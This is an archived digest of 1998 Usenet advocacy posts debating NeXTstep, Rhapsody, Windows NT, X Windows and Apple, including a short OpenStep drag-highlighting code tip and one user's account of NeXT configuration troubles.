This is Advocacy.gz in view mode; [Up]
From: Aaron R Kulkis <akulkis@be1151.pd3.ford.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.unix.advocacy
Subject: Re: NT causes $10M loss [Was Uptime Discussion]
Date: Tue, 31 Mar 1998 09:47:14 -0500
Organization: Ford Motor Company
Message-ID: <352101F2.4AF7@be1151.pd3.ford.com>
References: <xohen0roj2o.fsf_-_@dux.raex.com> <6era7o$6bu$1@usenet76.supernew <35118531.876DC574@xyz.sabre.com> <6f1cpc$1ic@news.or.intel.com> <6f1k9f$3cm$1@shell4.ba.best.com> <6f3e52$fs3$1@usenet76.supernews.com> <35158768.B8251900@c-me.com> <351c0922.66742953@news.sunflower.com> <351C3AF4.E574B522@primenet.com> <352006E0.242A66B7@sdt.com>
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Brad Schneider wrote:
>
> When NT finally matches UNIX feature for
> feature, I'll pick it in a second.
>
> Brad
So, when's the source-code release date for LoseNT*?
*NT = Nice Try.
--
Aaron R. Kulkis
Unix Systems Administrator
---------------------------------------------------------------------------
I speak for me, not my employer
---------------------------------------------------------------------------
"What's wrong with 3rd party tools? Especially if they are free?
What the hell do you think unix is anyway? It's a big honkin' party
of 3rd party free tools." --Bob Cassidy (rmcassid@uci.edu)
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody vs. VisualBasic
Date: 1 Apr 1998 09:45:10 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6ft2b6$f9q$2@ns3.vrx.net>
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Xcanpos: shelf.01/199804131801!0027290004
In <35215529.2E181E25@slip.net> Sivan Mozes claimed:
> I understand the interface bulider is a great idea. But doen't VB do the
same
> thing on Windows?
Nope. IB talks to the "basic" foundation classes, VB talks to, well, VB.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 1 Apr 1998 09:43:18 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6ft27m$f9q$1@ns3.vrx.net>
References: <199801202218001457904@ppp8.hol.fr> <slrn6duen6.q82.sal@panix3.panix.com>
<slrn6e47gt.75j.jstevens@samoyed.ftc.nrcs.usda.gov> <6bunvs$btf$1@ns3.vrx.net>
<6cisv6$kbn$2@quasar.dimensional.com> <6dbrd2$fn6$22@ironhorse.plsys.co.uk>
<34FAD56E.F4B08F27@markelcorp.com> <6dfoc4$3o0$1@quasar.dimensional.com>
<slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com>
<slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com>
<6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dimensional.com>
<351f11d5.0@206.25.228.5> <6fnorc$71e$3@ns3.vrx.net>
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Xcanpos: shelf.01/199804131801!0027287194
In <rmcassid-3103981540370001@dante.eng.uci.edu> rmcassid@uci.edu claimed:
> >1) Port the ClarisWorks import filters, and bundle them with Rhapsody.
>
> AFAIK, XTND is dead. Maybe we'll see a MacLink bundle. Maybe we'll see
> something altogether new...
I think his issue is to _port_ the filter code - likely meaning to NeXT
Filters. I agree, a lib of these would be a godsend. There's nothing like
watching a BMP appear perfectly in Mail, when you know that Mail has no idea
what it is.
> >2) Hypercard.
>
> Should come with Quicktime.
I have to disagree on both counts. What's really needed is IB-Lite +
AppleScript. Ask yourself what it is that HC does (ie, bind AS-like scripts
to interface objects), and I think you'll agree this is the actual issue.
> >3) Printer drivers for non-ps printers.
>
> That is pretty important.
All things considered, what's the chance of the PS render being included?
> >4) GUI front ends to Samba and Apache
>
> Tenon might give us this. Or ASIP? Should be a strong demand for it, I'd
think.
It appears though that these "nice" packages are being demoted under the
DR's. This may just be a timing thing.
> >5) NetInfo for MacOS and WinNT
>
> This is really important.
Yup. They could sell it.
Maury
From: Greg_Anderson@afs.com (Gregory H. Anderson)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Hilighting for drag destination?
Date: 31 Mar 1998 17:31:17 GMT
Organization: Anderson Financial Systems Inc.
Message-ID: <6fr995$f2v@shelob.afs.com>
References: <6fql92$hdt$1@ns3.vrx.net>
Xcanpos: shelf.01/199804122201!0028317661
Maury Markowitz writes
> I'm going about implementing some dragging behaviour and I noticed
> that OpenStep doesn't appear to have any standards to hilight the view
> that's the target of the drag - it uses changes to the mouse pointer
> only to indicate drags. Under MacOS8 the standard is to hilight the
> receiving view with a small inset mauve border, and I find this
> additional feedback to be terribly handy, notably when there's
> views-in-views as it clearly shows you the target.
(followups set to c.s.n.programmer, as this really belongs there)
You need to define these methods of the NSDraggingInfo protocol:
- (unsigned int)draggingEntered:(id <NSDraggingInfo>)sender
- (unsigned int)draggingUpdated:(id <NSDraggingInfo>)sender
- (void)draggingExited:(id <NSDraggingInfo>)sender
- (BOOL)prepareForDragOperation:(id <NSDraggingInfo>)sender
(You may have reason to define other parts of the protocol, but these
are the required ones for highlighting operations.)
The basic method we use in WriteUp and PasteUp is to identify the
dropRect that needs to be highlighted, then execute the following code:
[self lockFocus];
NSHighlightRect(dropRect);
dropRect = NSInsetRect(dropRect , 2.0 , 2.0);
NSHighlightRect(dropRect);
dropRect = NSInsetRect(dropRect , -2.0 , -2.0);
[self unlockFocus];
[[self window] flushWindow];
This has the effect of highlighting the whole area, insetting the rect
by two points, then "unhighlighting" the interior portion, which leaves
a perfect two-point highlighted border. You don't get any flashing with
this method, because none of the operation is pushed through to the
windowserver until you flushWindow.
The unfortunate thing about this process, from the standpoint of using
categories to do the drawing, is that you have to retain the previous
dropRect between successive calls to the methods listed above. That
normally requires an ivar, which is not allowed in categories. However,
if you are willing to assume that only one drag operation can occur at
any given time -- a reasonable assumption in current user interfaces --
then you could use a static global variable in your category to hold
the dropRect value.
Procedurally, you need to draw the highlight rect (using the sequence
above) in the draggingEntered: method; undraw the old rect (execute the
same code again with the prior dropRect, voila!: it disappears), recalc
bounds, and then redrew a new rect in draggingUpdated:; and undraw
(only) in draggingExited: and prepareForDragOperation:.
Why undraw and redraw in draggingUpdated:, you ask? Because the view may
have scrolled, or you may want to focus on a different portion, based on
the current mouse location. Of course, you will need to decide how to
identify the rect to highlight. The view's bounds is the obvious choice,
but I like to draw a ring that is visible all the way around, which means
you need to intersect with the visible rect. Also, for some operations we
like to highlight the focused paragraph, which rolls right down the screen
as the user moves the mouse.
--
Gregory H. Anderson | "We're in the land of the blind,
Visionary Ophthalmologist | selling working eyeballs, and they
Anderson Financial Systems | balk at the choice of color." -- Tony
greg@afs.com (NeXTmail OK) | Lovell, on Mac user reactions to NeXT
From: float@interport.net
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.unix.advocacy
Subject: Re: NT causes $10M loss [Was Uptime Discussion]
Followup-To: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.unix.advocacy
Date: 31 Mar 1998 12:24:22 -0500
Organization: Interport Communications Corp.
Message-ID: <6fr8s6$59j$1@interport.net>
References: <xohen0roj2o.fsf_-_@dux.raex.com> <uj23efzsd4e.fsf@bambi.visi.com> <6fpts2$cov@news.or.intel.com> <joe.ragosta-3103980821360001@wil33.dol.net> <6fr4cb$bdj@news.or.intel.com>
Xcanpos: shelf.01/199804122201!0028827462
Jason V. Robertson~ (jvrobert@sedona.intel.com) wrote:
: In article <joe.ragosta-3103980821360001@wil33.dol.net>,
: Joe Ragosta <joe.ragosta@dol.net> wrote:
: >In article <6fpts2$cov@news.or.intel.com>, jvrobert@sedona.intel.com
: >(Jason V. Robertson~) wrote:
: >
: >> In article <uj23efzsd4e.fsf@bambi.visi.com>,
: >> Kevin Huber <khuber@yuck.net> wrote:
: >> >When will NT be free?
: >>
: >> Uhh, when will Unix be free?
: >
: >Does the word "Linux" mean anything to you?
: Do the words 'not Unix' mean anything to you?
Does the word "4.4BSD" mean anything to you?
--
Ben
<Just Another System Administrator>
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "Well, Mr. Jobs, What'll It Be?"
Date: 30 Mar 1998 22:58:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B145D512-35CD2@206.165.43.138>
References: <6fp08g$9jj$1@news.platinum.com>
nntp://news.primenet.com/comp.sys.mac.advocacy
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Gary W. Longsine <gary-nospam-@screaming.org> said:
>
> i.e. No matter how much they offer Jobs in stock, the only thing
> it can do to the stock you hold is drive the price up.
Actually, the SEC filing says that it would be a NEW stock issue, so it
would dilute current shareholder's value and drive the price DOWN.
That's for the actual shares. I don't believe that issuing a bunch of stock
options would influence the price either way, which is how the bulk of the
payment would be made.
---------------------------------------------------------------------
"OpenDoc may be impressive technology, but if no-one else is using it, why
should Apple?" --Steve Jobs
"In short: if you want to blow people away with what can be done *only* on
a Mac, show them Cyberdog." --Tom Keyes
<news://cyberdog.apple.com/cyberdog.general/19411>
---------------------------------------------------------------------
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.unix.advocacy
Subject: Re: NT causes $10M loss [Was Uptime Discussion]
Date: 31 Mar 1998 19:37:47 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6i2hgb.a5o.sal@panix3.panix.com>
References: <xohen0roj2o.fsf_-_@dux.raex.com> <6era7o$6bu$1@usenet76.supernew <35118531.876DC574@xyz.sabre.com> <6f1cpc$1ic@news.or.intel.com> <6f1k9f$3cm$1@shell4.ba.best.com> <6f3e52$fs3$1@usenet76.supernews.com> <35158768.B8251900@c-me.com> <351c0922.66742953@news.sunflower.com> <351C3AF4.E574B522@primenet.com> <352006E0.242A66B7@sdt.com> <352101F2.4AF7@be1151.pd3.ford.com>
Xcanpos: shelf.01/199804122201!0052194762
On Tue, 31 Mar 1998 09:47:14 -0500, Aaron R Kulkis <akulkis@be1151.pd3.ford.com> wrote:
>So, when's the source-code release date for LoseNT*?
The 12 DVD source set will ship the day after Sun ships the source
for Solaris and HP ships the source for HP/UX. :)
>
>*NT = Nice Try.
>
>--
>Aaron R. Kulkis
Petty name calling aside, MS makes a lot of source code availible. More so
than some Unix vendors.
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody being scrapped? What's up with this?
Date: 31 Mar 1998 19:41:43 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6i2hnn.a5o.sal@panix3.panix.com>
References: <slrn6hh1pq.gj.sal@panix3.panix.com> <B144054B-3D452@158.152.49.144>
Xcanpos: shelf.01/199804122201!0052988630
On 29 Mar 98 14:03:40 +0100, Ian Betteridge <ianb@well.com> wrote:
>On Wed, Mar 25, 1998 5:25 am, Salvatore Denaro
><mailto:sal@panix3.panix.com> wrote:
>>If Apple ships a $995 machine with a g3, 32mb or ram, 4GB of HD, an AV
>>card, CD and ZIP with a 17" Trintron monitor; I'll eat a MacOS CD-ROM.
The AIO was announced today. It looks like the cost is more than $995
>>17" Trinitrons are over $600. There is NO WAY they could do it in the
>>near future.
>
>*cough* jeez, you want to shop around a little!
I take back my $600 estamate for Apple's monitor cost.
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: Henry McGilton <henry@trilithon.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: DispalyPostScript no more...
Date: Wed, 01 Apr 1998 09:13:22 -0800
Organization: Trilithon Research and Trading
Message-ID: <352275B2.55F62E13@trilithon.com>
References: <us5hg4e6be3.fsf@ai.mit.edu> <B146FB2F-2361E@206.165.43.7>
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Lawson English wrote:
* GX already IS pretty. But, like any cinder-girl,
* it needs tidying up before anyone would take a second look.
Well, as I've said before, this is your golden opportunity
to contribute something useful for a change.
........ Henry
=============================================================
Henry McGilton | Trilithon Software
Boulevardier, Java Composer | Pacific Research and Trading
-----------------------------+-------------------------------
mailto:henry@trilithon.com | http://www.trilithon.com
=============================================================
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.ms-windows.advocacy,comp.os.linux.advocacy
Subject: Re: Commentary on Apple's rumor mongering.
Date: 31 Mar 1998 11:15:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B14681D7-CAF68@206.165.43.17>
References: <6fr3su$qr9@newsb.netnews.att.com>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.ms-windows.advocacy,
nntp://news.primenet.com/comp.os.linux.advocacy
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gupta@kcopsrm.tm.tta.moc-mirror said:
>
> >> NeXT was a commercial failure on both the hardware
> >> and software ends. While you may like some of the NeXT tech and while
> >> some of it is well-received by some people, the fact remains that
> >> commercially it was a failure.
>
> It is also equally true that the Newton is a commercial failure
> of the same magnitude or bigger.
>
Not hardly. Newton boxes sold by the hundreds of thousands (one or more).
The NewtonOS upgrades sold reasonably well from what I hear. There are far
more NewtonOS users in the world than NeXTstep users. AND... Newton's
losses per quarter would have been in the $2-3 million range, even though
it was a piece of hardware that was never freely licensed to other
companies.
I think that one can make the case that Newton has always done better, both
monetarily, and market-acceptance-wise, than NeXTstep has done.
---------------------------------------------------------------------
"OpenDoc may be impressive technology, but if no-one else is using it, why
should Apple?" --Steve Jobs
"In short: if you want to blow people away with what can be done *only* on
a Mac, show them Cyberdog." --Tom Keyes
<news://cyberdog.apple.com/cyberdog.general/19411>
---------------------------------------------------------------------
From: jrudd@cygnus.com (John Rudd)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXT style scroll bars
Date: 31 Mar 1998 21:38:36 GMT
Organization: Cygnus Solutions
Message-ID: <6frnos$e4s$1@cronkite.cygnus.com>
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<350EB950.2ABAE182@nstar.net> <slrn6hcab8.94c.mbkennel@lyapunov.ucsd.edu>
<3517D44B.A05944BE@nstar.net> <slrn6hg6kg.kjn.sal@panix3.panix.com>
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<351BE06A.68849F9B@nstar.net> <slrn6ho882.mlr.sal@panix3.panix.com>
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Cc: sal@panix3.panix.com
Xcanpos: shelf.01/199804130201!0031998177
In <slrn6i2gsk.a5o.sal@panix3.panix.com> Salvatore Denaro wrote:
> On 28 Mar 98 20:48:02 GMT, Richard Frith-Macdonald
<richard@brainstorm.co.uk.> wrote:
> >The X v NeXT flame war seems to be -
> >NeXT advocate - An X-based system is a complete mess of incompatible
applications
> > whereas on a NeXT machine - everything works together nicely
> >X advocate - You are not comparing like with like - you should compare
X+Motif
> > with NeXTstep - in which case the apps interoperate nicely
> >NeXT advocate - Ah - but real-world X systems don't just have well behaved
Motif
> > applications.
> >X advocate - But that's not the fault of X - it's just stupid users mixing
> > incompatible apps on the same system.
>
> Yes, but if Xt and Xlib (and Xaw for that matter) were done better, and
> modenized, those "dumb users" would have Apps that "just work" without a
> second thought to how they were built.
>
> Claiming that X is "just fine", it is the users who are to blame is
nonsense.
> X should "JUST WORK" without any gotchas. THERE IS NO EXCUSE FOR NOT FIXING
> YOUR SOFTWARE. This is just as bad as all those Mac users who make excuses
> for Apples machines costing more than cloners.
>
I think this really is the center of the argument. X advocates keep evading
the our points about the whole body of X-Windows by saying "X is a protocol"
and then "well, it's the libraries fault" or "it's the window manager's
fault" or "it's the application's fault".
Those of us who don't like X (I'm refering to the protocol, the libs, the
window managers, and the applications as a single body which I will continue
to refer to as "X") don't like it because if the whole body of X was well
designed from the beginning, it wouldn't matter who implimented which piece.
It would all "just work" together, and work togther well. It wouldn't matter
who wrote my app, on which toolkit(s) they wrote it, etc. It would just work
with that other app over there, again reguardless of the same issues in that
app. Yet, as has been continuously pointed out, you can't just drag and drop
or cut and paste between two random X applications. Things in "X" don't
"Just Work", because "X" is not well designed, not well implimented, and not
consistant.
As much as I love the aesthetics and services of Nextstep/etc, these are not
truely what keeps me loyal to it. What keeps me loyal to is that things
"Just work", and they work well. I don't have to care whether or not the
developer of a given app knew about url's when they wrote the app. For
example, when the Mail.app was written, they didn't know about URL's at all
because they weren't around yet. Yet, because of the solid and dyanmic
design, bundles allow Mail.app to grok URL's, and I can just click on a url
and it will send it to my web browser (and again, Mail.app only knows the
name of the browser.. it can tell the web browser to open the page if it's
running, or it can launch the web browser with the page as the starting
page.. but Mail.app doesn't know the web browser from a text editor or a
newsreader, etc). It just works. And it works because the body of
Nextstep's GUI as a whole (protocols, libraries, toolkits, window manager,
etc) are all well designed, well implimented, and consistant.
--
John "kzin" Rudd jrudd@cygnus.com http://www.cygnus.com/~jrudd
=========Intel: Putting the backward in backward compatible.============
"The hardest thing about being you isn't what you can do, it's living
with still not being able to do all of the things you can't" - Lois Lane
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 31 Mar 1998 21:04:42 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6i2mja.a5o.sal@panix3.panix.com>
References: <199801202218001457904@ppp8.hol.fr> <slrn6duen6.q82.sal@panix3.panix.com> <slrn6e47gt.75j.jstevens@samoyed.ftc.nrcs.usda.gov> <6bunvs$btf$1@ns3.vrx.net> <6cisv6$kbn$2@quasar.dimensional.com> <6dbrd2$fn6$22@ironhorse.plsys.co.uk> <34FAD56E.F4B08F27@markelcorp.com> <6dfoc4$3o0$1@quasar.dimensional.com> <slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dimensional.com> <351f11d5.0@206.25.228.5> <6fnorc$71e$3@ns3.vrx.net>
Xcanpos: shelf.01/199804130201!0032965391
On 30 Mar 1998 09:32:28 GMT, Maury Markowitz <maury@remove_this.istar.ca> wrote:
> Regardless OS has one big remaining hole to plug here, that's PPP support.
In the interest of objective advocay, I'd like to add a few things to that list.
1) Port the ClarisWorks import filters, and bundle them with Rhapsody.
2) Hypercard.
3) Printer drivers for non-ps printers.
4) GUI front ends to Samba and Apache
5) NetInfo for MacOS and WinNT
6) X11 support. Stick it in a /Unsupported/ directory if you want, but please
ship one.
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "Well, Mr. Jobs, What'll It Be?"
Date: 1 Apr 1998 01:06:28 GMT
Organization: @Home Network
Message-ID: <6fs3uk$n8v$1@ha2.rdc1.sdca.home.com>
References: <6fp08g$9jj$1@news.platinum.com> <6fqvmp$e9d@shelob.afs.com>
<352174b7.0@206.25.228.5>
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Xcanpos: shelf.01/199804130601!0016167705
In <352174b7.0@206.25.228.5> John Kheit wrote:
> Greg_Anderson@afs.com (Gregory H. Anderson) wrote:
> > Gary W. Longsine writes
> > > i.e. No matter how much they offer Jobs in stock, the only
> > > thing it can do to the stock you hold is drive the price up.
>
> > To the extent that it dilutes ownership without raising Wall
> > Street's estimation of what the company is worth, it will
> > *definitely* depress the stock price. The key to this deal would
> > be the belief that Steve's full-time participation would increase
> > the value of the company to a greater extent than the dilution
> > effect of any options offered to him.
>
> I'm not sure what you mean here Greg? If apple has a tonOstock in
> reserve under it's control, already issued, that they wish to give
> jobs, how does that dilute the stocks I hold? Now if they must
> issue new stocks, and say those stocks are worth X% and all existing
> stocks out there are now going to be worth Y-X%, then that would
> dilute ownership. They would of course not be able to do such a
> thing without shareholder approval. Something unlikely to occur.
>
Well, however it turns out, Apple board member ear's are probably still ringing
from the %age Iococa demanded to take the helm. The 8% Apple is offering Jobs
probably pales in comparision to what the "market" is "demanding". Steve is
probably waiting for Apple to find a "taker" on Apple terms or meet the market ±
hence the balk on SJ's part at taking the CEO.
-r
Rex Riley
From: Mike Trivisonno <trivison@nt.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Barefoot Gen (Was: Re: "Well, Mr. Jobs, What'll It Be?")
Date: Wed, 01 Apr 1998 12:19:25 -0600
Organization: Nortel
Message-ID: <35228429.10C8@nt.com>
References: <19980331031822711231@sdn-ts-005txhousp14.dialsprint.net> <B146701C-884C5@206.165.43.17>
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Lawson English wrote:
>
> John Bauer <drifterusa@sprintmail.com> said:
>
> > Disney is *not* Microsoft! Without railing too hard against the latter
> > (which I may do in another post as I think I have good reason today),
> > let me just say that Disney not only has the best marketing but has the
> > best product to market. Occasionally another studio will come up with a
> > passable animated film (e.g., ANASTASIA) and this may happen more often
> > now that the pool of animation talent is spread out and many studios are
> > pumping dollars into animation divisions (or maybe it will lead to more
> > widespread mediocrity), but up till now there's no question in my mind
> > that Disney has been at the forefront of the form -- especially by
> > recognizing the supremacy of story above all else.
>
> Obviously, you are not into Anime. In Japan, animation and comic books are
> considered literary artforms. Approximately 1/3 of all bookstore revenues
> in Japan come from comic book sales and the richest woman in Japan is a
> comic book artist.
>
> With this kind of money available, the anime and comic book authors and
> artists are often of a MUCH higher quality than you find in America.
>
> There's nothing remotely approaching the grandeur of "Akira" coming out of
> any Western studio, for instance, and no Western TV cartoon approaches the
> sophisticated slapstick of Ranma 1/2 (writen by aforementioned richest
> woman in Japan, Rumiko Takahashi).
And Barefoot Gen is perhaps the finest film I have ever seen. Nothing
from studios in the west come close to this masterpiece.
Mike
From: John Stanhope <john.stanhope@natinst.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody vs. VB
Date: Wed, 01 Apr 1998 12:16:59 -0600
Organization: National Instruments
Message-ID: <3522849B.83D74269@natinst.com>
References: <35215302.79C05EE@slip.net>
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Sivan Mozes wrote:
> I read about the great interface builder.
> Isn't Visual Basic serving the same purpose?
Is this some sort of april fools joke?
From: float@interport.net
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXT style scroll bars
Date: 1 Apr 1998 14:44:27 -0500
Organization: Interport Communications Corp.
Message-ID: <6fu5er$2f7$1@interport.net>
References: <6e6jl3$csu$3@ns3.vrx.net> <B12D7BD5-3CE309@141.214.128.36> <3521DC87.5515B046@nstar.net>
Michael J. Peck (mjpeck@nstar.net) wrote:
: John Rudd wrote:
: Similarly, on my NeXT Cube, nothing worked. Maybe, at first, it was lack
: of familiarity. But I spent a good long time on the box and frankly,
: nothing worked for me.
That's interesting to me, because my experience with NeXTStep has been
that it has the highest "just work" quotient of any OS I've worked
with, at least on its native hardware.
: I have a sweet Linux box set up. <snip>
: When I sit down to my Linux box, everything Just Works.
The nice thing about highly configurable OSs, especially those that
come with source, is that even if everything doesn't "just work" at
first, one can get them to a just-working state with sufficient
tweaking. Since different people have different ideas of what just
working is, I think it's important to distribute source, or at least
provide for a high level of configurability.
: I won't attempt to explain the reasons for that, or theorize as to what
: makes it so easy for me and so difficult for others. I get plenty of
: people calling me an idiot for being baffled by NEXTSTEP, so I'll take
: my lumps and move on.
I sure wish I saw more of this attitude. The whole goddamn POINT of
standards and protocols is so that everyone can compute their own way,
and still be able to exchange data with everyone else.
: in the vein of X Windows is missing the big picture, or that X Windows
: sucks because it's too complicated or too messy or too steep for them to
: handle.
X is the ugliest, worst-implemented, hairiest, worst-designed GUI I've
ever used. It's also the worst (etc.) major subsystem on my unix boxes.
However, I've had more *fun* with X than with any other GUI. After
NeXTStep, it's my favorite graphical interface.
--
Ben
<Just Another System Administrator>
From: Sivan Mozes <sivan@slip.net>
Newsgroups: comp.sys.next.advocacy
Subject: Rhapsody vs. VisualBasic
Date: Tue, 31 Mar 1998 20:42:23 +0000
Organization: CCSF
Message-ID: <35215529.2E181E25@slip.net>
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I understand the interface bulider is a great idea. But doen't VB do the same
thing on Windows?
Thanks,
Sivan
From: John Sevey <jssevey@spamno.merge.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: Wed, 01 Apr 1998 14:20:00 -0600
Organization: Inc.Net http://www.inc.net
Message-ID: <3522A170.3DC9099@spamno.merge.com>
References: <199801202218001457904@ppp8.hol.fr> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dim <tbrown-3003982122070001@mv149.axom.com> <6fsc2b$brg$1@inconnu.isu.edu> <6fu6ag$3jr$1@interport.net>
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float@interport.net wrote:
> I've worked almost exclusively with x86 machines . . . and I am
> convinced that the PowerPC architecture is vastly superior.
>
> If I could run a freely available unix on cheap, commodity PPC boxes,
> I would do so without hesitation.
Don't hesitate, try:
http://www.mklinux.apple.com
or
http://www.linuxppc.org
for info about running "a freely avaliable unix on cheap, commodity PPC
boxes".
I run MkLinux on an older Mac (PowerComputing) clone.
-John
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXT style scroll bars
Date: Wed, 01 Apr 1998 20:34:04 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <3522A4BC.74C7BEF0@nstar.net>
References: <6e6jl3$csu$3@ns3.vrx.net> <B12D7BD5-3CE309@141.214.128.36> <3521DC87.5515B046@nstar.net> <6fu5er$2f7$1@interport.net>
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float@interport.net wrote:
> Michael J. Peck (mjpeck@nstar.net) wrote:
> : John Rudd wrote:
> : Similarly, on my NeXT Cube, nothing worked. Maybe, at first, it was lack
> : of familiarity. But I spent a good long time on the box and frankly,
> : nothing worked for me.
>
> That's interesting to me, because my experience with NeXTStep has been
> that it has the highest "just work" quotient of any OS I've worked
> with, at least on its native hardware.
There was, of course, trying to get it to stop using NetInfo, so that it
wouldn't sit there for twenty minutes, unusable, any time somebody
opened "Host Manager", while it looked for a nonexistent NetInfo server
containing nonexistent NetInfo classes and whatnot. And there was trying
to get a printer to export so that lpd wouldn't just sit there,
unusable, for at least as long whenever a job was spooled to it.
There was trying to get gcc installed. Or pppd to compile once gcc was
installed. And there was trying to get dynamic routing attached to pppd
reliably. And there was trying to install a stable set of tools: user
can't install this package? shit, retry as root. logout, relog in,
install, logout, relog in. Waiting...
There was trying to get NFS mounts set up automatically. The NFS admin
tool didn't work, ever. No idea why. I eventually just resigned to su
root every time I logged in and type 'mount -t nfs 192.168.1.1:/home'
for all my mounts manually, which I eventually automated with a little
script. The box never bothered to look at /etc/fstab even once, although
IIRC the comments in /etc/fstab indicated that it would if NetInfo were
disabled. Back to problem number one.
Then there was lack of GUI configurability. I get used to a certain
interactive style, and I want to move and raise/lower my NEXTSTEP
windows that way. No dice, the prefs aren't any help. No rc files to
edit, nothing, really, to configure at all.
Then there was getting help on programs. The only way to do this was to
spawn a GUI program, usually by starting the application in question,
then choosing Help... from the menu and paging through some RTF file
with left-handed scrollers and *NO* page up/page down keys. Then there
was the fact that moving from window to window required not only mouse
movement, but a click, because I couldn't Alt-Tab and I couldn't
focus-follow-mouse. Back to the problem with GUI configuration.
Then there was WindowServer configuration. I find I don't like the
MegaPixel on the left, I want it on the right. Go to Prefs, click
through a GUI wizard, change the Prefs. Restart?! What the f*** is this
restart bullshit? This box takes ten minutes to boot! I can restart a
window manager in two seconds, an X server in ten, double it on slow 486
hardware. More waiting...
I even thought about doing some development, but hell, I can't afford
that. Several hundred dollars for an old toolkit I can't update and
which won't work with my other platforms? Shine that.
Like I said, someone like my father doesn't really need any of the
things I mention above. He's even willing to wait *minutes* for a
computer to do something trivial like start up network services. I'm
sure he would have loved NeXT computers if he'd been introduced to them
years ago.
[cut]
> : in the vein of X Windows is missing the big picture, or that X Windows
> : sucks because it's too complicated or too messy or too steep for them to
> : handle.
>
> X is the ugliest, worst-implemented, hairiest, worst-designed GUI I've
> ever used. It's also the worst (etc.) major subsystem on my unix boxes.
Good thing it doesn't pretend to be a GUI, then. :-)
> However, I've had more *fun* with X than with any other GUI. After
> NeXTStep, it's my favorite graphical interface.
That's a new point of view.
MJP
From: forrestDELETE-THIS!@west.net (Forrest Cameranesi)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Netscape port to Rhapsody now possible...
Date: Wed, 01 Apr 1998 13:39:36 -0800
Organization: "The Company" (Formerly Known As Obsidian)
Message-ID: <forrestDELETE-THIS!-0104981339370001@term4-5.vta.west.net>
References: <wziuotc4ae.fsf@cmlabfs.sfc.keio.ac.jp>
Xcanpos: shelf.01/199804140201!0029047986
In article <wziuotc4ae.fsf@cmlabfs.sfc.keio.ac.jp>,
penrose@cmlabfs.sfc.keio.ac.jp wrote:
> Netscape has released its current (pre alpha) source code tree for
> Netscape Communicator 5.0.
[snip]
> Is anyone ready to start a port to Rhapsody?
Check out <http://www.rhapsodyos.com>, they've got a group working on a
port already.
-Forrest Cameranesi
Owner of The Universe, seeking employees for "Ruler" and "Master" positions. Apply at front desk. All prices subject to change. Universe, the Universe logo, and all objects contained within are (TM) and (C) Everything Unlimited, a wholly owned subsidary of Cameranesi Enterprises. Remember:
"We know what you want. We know what you need. We know where you live."
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
